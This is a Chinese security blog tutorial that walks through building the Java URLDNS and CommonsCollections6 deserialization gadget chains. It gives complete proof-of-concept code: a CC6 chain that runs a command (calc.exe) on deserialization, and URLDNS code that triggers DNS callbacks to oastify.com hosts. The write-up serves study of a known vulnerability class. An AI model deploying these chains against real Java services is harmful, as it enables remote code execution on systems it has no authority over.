声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
上一篇文章记录了一下CC1是怎么出来的,LazyMap版本相较于TransformedMap版本确实是绕了许多,最关键的是在jdk8u71之后官方修复了这条链,所以这篇文章带来一条理解起来相对简单且通用的链——CommonsCollections6
环境:
-
jdk8u181
-
Tomcat 9
-
commons-collections-3.2.1
0x01 URLDNS链
在分析CC6之前,不得不提一嘴URLDNS,因为CC6最终的调用方式跟它是有异曲同工之妙的(正好我之前的文章也没有写这条链),如果你熟悉这条链,可以直接跳过这一部分
先来看看yso的Gadget Chains
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
原理就是java.util.HashMap重写了readObject(),在反序列化时会调用hash()计算key的hashCode,而java.net.URL的hashCode()在计算时会调用getHostAddress()来解析域名,从而发出 DNS 请求
我这里写了一个非常简短的Demo,先来调一下
package Ser;
import java.net.URL;
import java.util.HashMap;
public class UrlDNSdemo {
public static void main(String[] args) throws Exception {
new HashMap<>().put(new URL("https://v958h2oticngftfnomdfnsyis9yzmo.oastify.com"), "key");
}
}
首先来到HashMap.put(),可以看到里边调用了putVal(),并且将我们的key作为参数传入了hash()
这里我们跟入hash()就行,可以看到这里调用了key的hashCode(),而key就是我们一开始传入的URL对象
如果此时的hashcode不等于-1,它会直接返回,这个点也是CC6里要注意的一个点,我们后边说。否则就用handler调用hashCode(),这里的handler是一个URLStreamHandler对象,
所以就会调用它自己的hashCode()
最终在这里调用getHostAdderss()
触发DNS请求
我们改写一下Poc,让它成为一个可以被反序列化调用HashMap#readObject()的版本,这里的Utile包是我自己创建的,为了不过多的占用文章篇幅,我把之前文章中的serialize与unserialize进行了封装
package Ser;
import Util.*;
import java.net.URL;
import java.util.HashMap;
public class UrlDNSdemo {
public static void main(String[] args) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(new URL("https://aa.468u0dzd0fc2h0b258haljmvemkc81.oastify.com"), "key");
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
我们开始调试,一上来就把请求发出去了,都没等咱们开始真正的表演
按照之前的路线往下跟,可以发现hashcode早就计算完毕了,链子并没有真正的串起来
原因也非常简单,就是因为我们先调用了hashMap.put(),就跟一开始的Demo一样,请求在那时候就已经发出了
所以这时候我们要解决两个问题:
-
HashMap.put()时别让它触发DNS解析
-
URL的hashcode属性值每次都为-1
之前我们说过,handler是一个URLStreamHandler对象,且我们最终调用的也是它下边的getHostAddress(),所以我们重写它,并重写getHostAddress(),在new URL时指定handler为自己(当前类),那么在put时就完成了Hook
可能不太好理解,先来个Demo调一下
package Ser;
import Util.*;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class UrlDNSdemo {
static class Hook extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
URLStreamHandler handler = new Hook();
URL url = new URL(null,"https://tpmjj2i2j4vr0purox0z485kxb35ru.oastify.com",handler);
hashMap.put(url, "key");
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
这里我们直接将断点打在URL类下赋值handler的操作
调试demo,我们发现,在调用put()之前,我们通过URL的构造方法将handler修改为了我们自己重写的Hook类
那么继续往下走,因为是第一次请求,所以hashcode为-1
来到getHostAddress(),注意此时的this,是我们的Hook类
所以就顺理成章的被我们劫持了,DNS请求自然也不会发起
而到了readObject()的时候,程序会通过反射去加载URL的构造方法
进而将handler重新赋值为Handler对象
这时候聪明的你可能会问,我不是重写了URLStreamHandler类么?为什么这里handler没有变成上文中的Hook()类?原因其实很简单,没有实现Serialize接口的类是无法被序列化的。挖这条链的师傅在这里也是卡了个bug,很巧妙
剩下的hashcode属性值的问题,我们使用反射即可轻松解决,这个应该没什么好说的
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,-1);
这一套下来,其实URLDNS链也并没有网传的那么“简单”吧,其实也就是Hook那段不容易理解,挖掘者可能是为了炫技吧,这个操作其实是非必要的。最终Poc:
package Ser;
import Util.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class UrlDNS {
// 重写URLStreamHandler, 便于后续的Hook
static class Hook extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
// 第一步 : Hook getHostAddress()
URLStreamHandler handler = new Hook();
URL url = new URL(null,"https://vfel948496ltqrktezq1uavmndt9hy.oastify.com",handler);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(url, "key");
// 第二步 : 反射修改 hashcode 属性值
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,-1);
// 第三步 : 序列化与反序列化
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
既不会多请求,也不会少请求
0x02 CommonsCollections6(CC1的增强版)
上文URLDNS链的关键就在于HashMap#readObject->hash()->hashCode(),那么如果有一个类的hashCode()动态调用了get(),那么我们就可以衔接上之前的CC1链进行反序列化,并且对于jdk版本的适应性也更强。TiedMapEntry#hashCode()就非常符合上述条件,我们看一下它的具体内容
进入hashCode()后,先调用了getValue()
在getValue()中通过map属性动态调用hashCode()
而map属性来自它自身的构造方法
所以,我们只需要new一个TiedMapEntry,将LazyMap放置在构造方法的第一个参数,最后将TiedMapEntry作为HashMap#put的第一个参数,理论上就可以进行反序列化,我们来一个Demo
package Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import Util.*;
import java.util.*;
public class CC6
{
public static void main(String[] args) throws Exception{
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
});
Map lazyMap= LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
这里遇到了URLDNS链同样的问题,在put的时候就触发了RCE,我可不想打别人的时候顺手打一下自己
所以这里的解决方案跟URLDNS类似,通过反射去修改LazyMap的第而个参数factory,LazyMap.decorate()时先不传chainedTransformer,给一个没用的NOPTransformer,然后用反射机制将LazyMap传入
Map lazyMap= LazyMap.decorate(new HashMap(), NOPTransformer.getInstance());
...
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
此时可以正常进入到readObject后,却无法进行RCE,原因是因为我们的Key已经存在于LazyMap中
所以我们需要将key remove掉,这里又很像URLDNS的-1问题,只不过解决起来更佳简单
lazyMap.remove(1);
最终Poc:
package Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import Util.*;
import java.lang.reflect.Field;
import java.util.*;
public class CC6Demo
{
public static void main(String[] args) throws Exception{
// 构造 chainedTransformer 调用链, 解决 Runtime 的序列化问题
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
});
// 实例化 LazyMap, 给一个没用的 NOPTransformer 是为了别在put时触发RCE
Map lazyMap= LazyMap.decorate(new HashMap(), NOPTransformer.getInstance());
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
// 将构造好的 tiedMapEntry 放到key上, 便于触发 key.hashCode()
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
// 反射修改真正的 factory
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
// 移除 key 为了能够触发 if条件 中的 factory.transform(key)
lazyMap.remove(1);
// 序列化与反序列化
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
成功反序列化进行RCE
0x03 小结
URLDNS链在jdk7中并不是调用HashMap#hash(),而是putForCreate()->hash(),多了一步而已,还有就是为什么说CC6是增强版CC1,因为它依赖的是HashMap,这就使得它更加通用
原文始发于微信公众号(安全日记):入坑Java安全之从0到1手写CommonsCollections6链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论